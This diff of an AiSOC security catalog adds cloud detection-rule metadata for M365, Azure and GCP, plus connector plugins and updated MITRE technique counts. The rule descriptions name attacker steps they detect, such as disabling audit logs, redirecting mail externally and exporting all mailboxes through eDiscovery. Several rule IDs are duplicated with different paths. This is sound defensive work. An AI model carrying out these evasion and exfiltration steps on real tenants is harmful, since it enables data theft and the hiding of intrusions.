- "total_with_mitre": 5711,
+ "unique_techniques": 492,
+ "total_with_mitre": 5745,
"by_tier": {
"stable": {
"T1003": 2,
@@ -543,6 +544,7 @@
"T1003.008": 1,
"T1011": 1,
"T1018": 5,
+ "T1020": 2,
"T1021": 1,
"T1021.001": 2,
"T1021.002": 7,
@@ -573,6 +575,7 @@
"T1059.005": 1,
"T1068": 1,
"T1069.003": 1,
+ "T1070": 2,
"T1070.001": 3,
"T1070.002": 1,
"T1070.003": 2,
@@ -584,7 +587,7 @@
"T1078.001": 4,
"T1078.002": 3,
"T1078.003": 1,
- "T1078.004": 33,
+ "T1078.004": 37,
"T1083": 2,
"T1087.001": 2,
"T1087.002": 5,
@@ -594,7 +597,7 @@
"T1095": 3,
"T1098": 28,
"T1098.001": 21,
- "T1098.003": 4,
+ "T1098.003": 8,
"T1098.004": 6,
"T1098.007": 1,
"T1105": 3,
@@ -604,8 +607,8 @@
"T1110.004": 4,
"T1112": 1,
"T1113": 2,
- "T1114.002": 1,
- "T1114.003": 2,
+ "T1114.002": 5,
+ "T1114.003": 4,
"T1127.001": 1,
"T1133": 13,
"T1135": 2,
@@ -617,13 +620,14 @@
"T1185": 1,
"T1190": 28,
"T1195": 2,
- "T1195.002": 9,
+ "T1195.002": 10,
"T1197": 1,
- "T1199": 12,
+ "T1199": 15,
"T1204.001": 1,
"T1204.002": 5,
"T1212": 2,
- "T1213": 2,
+ "T1213": 3,
+ "T1213.002": 1,
"T1218": 1,
"T1218.003": 1,
"T1218.004": 1,
@@ -637,7 +641,7 @@
"T1482": 1,
"T1484.001": 2,
"T1484.002": 2,
- "T1485": 26,
+ "T1485": 28,
"T1486": 7,
"T1489": 1,
"T1490": 7,
@@ -648,10 +652,10 @@
"T1499": 1,
"T1505.003": 2,
"T1525": 8,
- "T1528": 5,
- "T1530": 35,
+ "T1528": 6,
+ "T1530": 36,
"T1531": 5,
- "T1537": 5,
+ "T1537": 10,
"T1539": 4,
"T1542.001": 1,
"T1543.001": 3,
@@ -696,7 +700,7 @@
"T1555.003": 3,
"T1555.004": 1,
"T1555.005": 1,
- "T1556": 38,
+ "T1556": 39,
"T1556.001": 1,
"T1556.003": 1,
"T1556.004": 1,
@@ -712,18 +716,20 @@
"T1560.001": 3,
"T1561.002": 1,
"T1562": 5,
- "T1562.001": 29,
+ "T1562.001": 38,
"T1562.004": 7,
"T1562.006": 2,
- "T1562.008": 10,
+ "T1562.007": 1,
+ "T1562.008": 13,
"T1562.012": 2,
"T1564.008": 1,
- "T1565.001": 3,
+ "T1565.001": 4,
"T1565.002": 1,
- "T1566": 1,
+ "T1566": 2,
"T1566.001": 1,
- "T1566.002": 1,
- "T1567": 9,
+ "T1566.002": 2,
+ "T1566.003": 1,
+ "T1567": 11,
"T1567.002": 7,
"T1568.001": 2,
"T1568.002": 2,
@@ -34426,6 +34432,807 @@
"enabled": true,
"path": "detections/cloud/aws-guardduty-instance-credential-exfiltration.yaml"
},
+ {
+ "id": "det-cloud-192",
+ "type": "detection",
+ "name": "M365 Exchange Transport Rule Redirects Mail Externally",
+ "description": "Detects creation or modification of an Exchange Online transport rule that redirects or forwards mail to an external domain. Commonly abused in BEC attacks to silently siphon conversations.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.003",
+ "T1020"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-transport-rule-external-redirect.yaml"
+ },
+ {
+ "id": "det-cloud-192",
+ "type": "detection",
+ "name": "M365 Exchange Transport Rule Redirects Mail Externally",
+ "description": "A transport rule was created or modified to redirect or BCC mail to an external domain. Attackers use this for persistent email exfiltration that survives password resets.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.003",
+ "T1020"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-transport-rule-redirect-external.yaml"
+ },
+ {
+ "id": "det-cloud-193",
+ "type": "detection",
+ "name": "M365 Exchange Mailbox Audit Bypass Enabled",
+ "description": "AuditBypassEnabled was set to True on a mailbox, suppressing all audit logging for that account. Threat actors use this to operate invisibly in a compromised mailbox.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-audit-bypass-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-193",
+ "type": "detection",
+ "name": "M365 eDiscovery Compliance Search Created",
+ "description": "Detects creation of an eDiscovery compliance search in Microsoft Purview. Insider threats and compromised admin accounts abuse eDiscovery to search and export mailbox contents at scale.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1213"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-search-created.yaml"
+ },
+ {
+ "id": "det-cloud-194",
+ "type": "detection",
+ "name": "M365 eDiscovery Compliance Search Across All Mailboxes",
+ "description": "A compliance search targeting all mailboxes was created via eDiscovery or Purview. This is a common precursor to mass email exfiltration via New-ComplianceSearchAction -Export.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1530"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-search-all-mailboxes.yaml"
+ },
+ {
+ "id": "det-cloud-194",
+ "type": "detection",
+ "name": "M365 Unified Audit Log Disabled",
+ "description": "Detects disabling of the Microsoft 365 unified audit log. Attackers disable auditing early in a compromise to erase their trail across Exchange, SharePoint, Teams, and Entra ID.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "critical",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-unified-audit-log-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-195",
+ "type": "detection",
+ "name": "M365 eDiscovery Search Results Exported",
+ "description": "Results from a compliance search were exported. When paired with a broad compliance search this represents confirmed data exfiltration through M365 native tooling.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1567"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-export.yaml"
+ },
+ {
+ "id": "det-cloud-195",
+ "type": "detection",
+ "name": "M365 Exchange Inbound Connector From Untrusted Domain",
+ "description": "Detects creation of an Exchange Online inbound connector that accepts mail from a specific external sender domain. Adversaries create connectors to bypass spam filters for phishing infrastructure.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1566"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-mail-connector-external-domain.yaml"
+ },
+ {
+ "id": "det-cloud-196",
+ "type": "detection",
+ "name": "M365 SharePoint External Sharing Enabled at Org Level",
+ "description": "SharePoint Online tenant sharing capability was changed to allow sharing with anonymous or new external users. This broadens the blast radius of any future data exposure.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1537",
+ "T1213.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-external-sharing-enabled-org.yaml"
+ },
+ {
+ "id": "det-cloud-196",
+ "type": "detection",
+ "name": "M365 SharePoint External Sharing Enabled Tenant-Wide",
+ "description": "Detects tenant-level SharePoint sharing policy changed to allow external or anonymous sharing. Widens the data-loss attack surface across all sites.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1567",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-external-sharing-enabled-tenant.yaml"
+ },
+ {
+ "id": "det-cloud-197",
+ "type": "detection",
+ "name": "M365 SharePoint Site Collection Admin Granted to External User",
+ "description": "Detects an external (guest) user being granted site collection administrator rights on a SharePoint Online site. External admins can access all site content and modify permissions.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-site-admin-external-user.yaml"
+ },
+ {
+ "id": "det-cloud-197",
+ "type": "detection",
+ "name": "M365 SharePoint Site Collection Admin Added",
+ "description": "A new site collection administrator was added. Site collection admins bypass item-level permissions and can access all content including OneDrive for Business sites.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-site-collection-admin-added.yaml"
+ },
+ {
+ "id": "det-cloud-198",
+ "type": "detection",
+ "name": "M365 Teams External Access Domain Allow-Listed",
+ "description": "Detects modification of the Teams external access policy to allow federation with a new domain. Threat actors social-engineer admins or use compromised accounts to open federation for phishing or data exfiltration via Teams chat.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1199"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-external-access-domain-added.yaml"
+ },
+ {
+ "id": "det-cloud-198",
+ "type": "detection",
+ "name": "M365 Teams External Access Policy Enabled",
+ "description": "Teams external access was changed to allow federation with all external domains or specific unblocked domains. Attackers leverage external access to phish internal users via Teams chat.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1566.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-external-access-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-199",
+ "type": "detection",
+ "name": "M365 Teams Custom App Sideloading Enabled",
+ "description": "The Teams app permission policy was changed to allow sideloading of custom apps. Malicious Teams apps can harvest tokens, exfiltrate chat data, and impersonate users.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1195.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-execution",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-app-sideloading-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-200",
+ "type": "detection",
+ "name": "M365 Defender Safe Attachments Policy Disabled",
+ "description": "A Safe Attachments policy was disabled or its action set to Allow. Disabling detonation-based attachment scanning exposes the org to weaponized document delivery.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-safe-attachments-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-201",
+ "type": "detection",
+ "name": "M365 Defender Safe Links Policy Disabled",
+ "description": "A Safe Links policy was disabled or URL scanning turned off. This removes time-of-click URL protection and allows deferred phishing links to reach users unchecked.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-safe-links-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-202",
+ "type": "detection",
+ "name": "M365 Defender Anti-Phishing Policy Weakened",
+ "description": "An anti-phishing policy had impersonation protection or spoof intelligence disabled. This lowers the barrier for BEC and brand-impersonation phishing campaigns.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1566.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-antiphish-policy-weakened.yaml"
+ },
+ {
+ "id": "det-cloud-203",
+ "type": "detection",
+ "name": "M365 Purview DLP Policy Disabled",
+ "description": "A Data Loss Prevention policy was disabled in Microsoft Purview. Disabling DLP removes the guardrails that prevent sensitive data from leaving the tenant via email, Teams, or SharePoint.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-dlp-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-204",
+ "type": "detection",
+ "name": "M365 Purview Sensitivity Label Removed From Document",
+ "description": "A sensitivity label was downgraded or removed from a document in SharePoint or OneDrive. This may indicate an attempt to bypass DLP controls before exfiltrating classified content.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1565.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-sensitivity-label-removed.yaml"
+ },
+ {
+ "id": "det-cloud-205",
+ "type": "detection",
+ "name": "M365 Purview Retention Policy Deleted",
+ "description": "A retention or preservation policy was deleted. Removing retention enables permanent deletion of email and documents that may be relevant to legal holds or incident investigations.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1485",
+ "T1070"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-impact",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-retention-policy-deleted.yaml"
+ },
+ {
+ "id": "det-cloud-206",
+ "type": "detection",
+ "name": "M365 Power Platform DLP Connector Policy Modified",
+ "description": "A Power Platform data policy was modified to reclassify or unblock connectors. Moving connectors out of the blocked group allows low-code flows to exfiltrate data via HTTP, Dropbox, or other external services.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-power-platform-dlp-policy-modified.yaml"
+ },
+ {
+ "id": "det-cloud-207",
+ "type": "detection",
+ "name": "M365 Power Automate Flow Shared With External User",
+ "description": "A Power Automate flow was shared with an external (guest) user. External users with flow access can trigger automations that read mailboxes, access SharePoint, or call Graph API on behalf of internal identities.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1199"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-power-automate-flow-shared-externally.yaml"
+ },
+ {
+ "id": "det-cloud-208",
+ "type": "detection",
+ "name": "M365 Entra ID Conditional Access Policy Disabled",
+ "description": "A Conditional Access policy was set to report-only or disabled. Disabling CA policies removes MFA enforcement, device compliance checks, or location-based access controls for the tenant.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1556"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-conditional-access-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-209",
+ "type": "detection",
+ "name": "M365 Entra PIM Global Admin Role Activated",
+ "description": "A user activated the Global Administrator role via Privileged Identity Management. While PIM is a legitimate workflow, Global Admin activation should be rare and audited since it grants unrestricted tenant access.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-privilege-escalation",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-pim-role-activated-global-admin.yaml"
+ },
+ {
+ "id": "det-cloud-210",
+ "type": "detection",
+ "name": "M365 Entra Cross-Tenant Access Policy Changed",
+ "description": "An inbound or outbound cross-tenant access policy was created or modified. Misconfigured policies can allow external tenants to access internal resources or bypass B2B trust boundaries.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1199",
+ "T1078.004"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-cross-tenant-access-policy-changed.yaml"
+ },
+ {
+ "id": "det-cloud-211",
+ "type": "detection",
+ "name": "M365 OAuth App Accessing Mailbox via Graph API",
+ "description": "An OAuth application accessed a mailbox through Microsoft Graph with application-level (not delegated) permissions. Compromised OAuth apps with Mail.Read or Mail.ReadWrite can silently exfiltrate email at scale.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1528"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-oauth-app-mailbox-access.yaml"
+ },
+ {
+ "id": "det-cloud-212",
+ "type": "detection",
+ "name": "Azure Key Vault Purge Protection Disabled",
+ "description": "Purge protection was disabled on an Azure Key Vault. Without purge protection, soft-deleted secrets, keys, and certificates can be permanently destroyed before the retention period expires, enabling evidence destruction.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1485",
+ "T1070"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-impact",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-key-vault-purge-protection-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-213",
+ "type": "detection",
+ "name": "Azure Elevated Access to Manage All Subscriptions",
+ "description": "A Global Admin activated elevated access at the management group root, granting User Access Administrator over every Azure subscription in the tenant. This is the single most powerful escalation in Azure and should be extremely rare.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1098.003"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-privilege-escalation",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-management-group-elevated-access.yaml"
+ },
+ {
+ "id": "det-cloud-214",
+ "type": "detection",
+ "name": "Azure Defender for Cloud Plan Disabled",
+ "description": "A Microsoft Defender for Cloud plan (Servers, Storage, SQL, etc.) was set to Free tier, removing threat detection and advanced security for that resource type across the subscription.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-defender-for-cloud-plan-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-215",
+ "type": "detection",
+ "name": "GCP Organization Policy Constraint Removed",
+ "description": "An organization policy constraint was deleted or reset to default. Removing constraints like domain-restricted sharing or uniform bucket-level access weakens tenant-wide security guardrails.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-org-policy-constraint-removed.yaml"
+ },
+ {
+ "id": "det-cloud-216",
+ "type": "detection",
+ "name": "GCP VPC Firewall Rule Allows All Ingress",
+ "description": "A firewall rule was created or updated to allow ingress from 0.0.0.0/0 on all ports or a wide port range. This exposes compute instances to the public internet without restriction.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.007"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-vpc-firewall-rule-allow-all-ingress.yaml"
+ },
+ {
+ "id": "det-cloud-217",
+ "type": "detection",
+ "name": "GCP Cloud Armor Security Policy Removed",
+ "description": "A Cloud Armor security policy was deleted from a backend service. This removes WAF rules, DDoS protection, and geo-blocking controls from the exposed endpoint.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-cloud-armor-policy-removed.yaml"
+ },
+ {
+ "id": "det-cloud-218",
+ "type": "detection",
+ "name": "GCP Audit Log Sink Deleted",
+ "description": "A Cloud Logging sink was deleted. Sinks route audit logs to BigQuery, Cloud Storage, or SIEM destinations. Deleting a sink creates a blind spot in the security monitoring pipeline.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-audit-log-sink-deleted.yaml"
+ },
{
"id": "det-data-exfil-001",
"type": "detection",
@@ -221610,6 +222417,30 @@
"enabled": true,
"path": "playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json"
},
+ {
+ "id": "auth0",
+ "type": "plugin",
+ "name": "Auth0 Tenant Logs Connector",
+ "description": "Auth0 tenant logs. Pulls login events, MFA events, and admin actions via the Management API.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "iam",
+ "auth0",
+ "okta",
+ "identity"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/auth0.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/auth0/plugin.yaml"
+ },
{
"id": "azure-activity",
"type": "plugin",
@@ -221688,6 +222519,78 @@
"tier": "stable",
"path": "plugins/azure-entra/plugin.yaml"
},
+ {
+ "id": "carbon-black",
+ "type": "plugin",
+ "name": "Carbon Black Cloud Connector",
+ "description": "VMware Carbon Black Cloud (formerly Carbon Black Defense). Pulls alerts and audit log entries via API key authentication. Supports host isolation and hash banning via agent capabilities.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "edr",
+ "carbon-black",
+ "vmware",
+ "endpoint"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/carbon_black.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/carbon-black/plugin.yaml"
+ },
+ {
+ "id": "chronicle",
+ "type": "plugin",
+ "name": "Google Chronicle SecOps Connector",
+ "description": "Google Chronicle SecOps SIEM. Pulls detections and supports UDM searches. Auth is via a Google Cloud service account JSON key with chronicle.* roles.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "google",
+ "chronicle",
+ "secops"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/chronicle.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/chronicle/plugin.yaml"
+ },
+ {
+ "id": "cisco-umbrella",
+ "type": "plugin",
+ "name": "Cisco Umbrella DNS Connector",
+ "description": "Cisco Umbrella DNS + secure web gateway activity. Surfaces blocked domains, malware verdicts, and proxy events.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "network",
+ "cisco",
+ "umbrella",
+ "dns"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cisco_umbrella.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/cisco-umbrella/plugin.yaml"
+ },
{
"id": "cloudflare",
"type": "plugin",
@@ -221742,6 +222645,53 @@
"tier": "stable",
"path": "plugins/cloudflare-waf/plugin.yaml"
},
+ {
+ "id": "cortex-xsiam",
+ "type": "plugin",
+ "name": "Palo Alto Cortex XSIAM Connector",
+ "description": "Palo Alto Networks Cortex XSIAM \u2014 pulls correlated incidents and supports XQL queries over the platform's data lake. Endpoint isolation is exposed as an agent action.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "xsiam",
+ "palo-alto",
+ "cortex"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cortex_xsiam.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/cortex-xsiam/plugin.yaml"
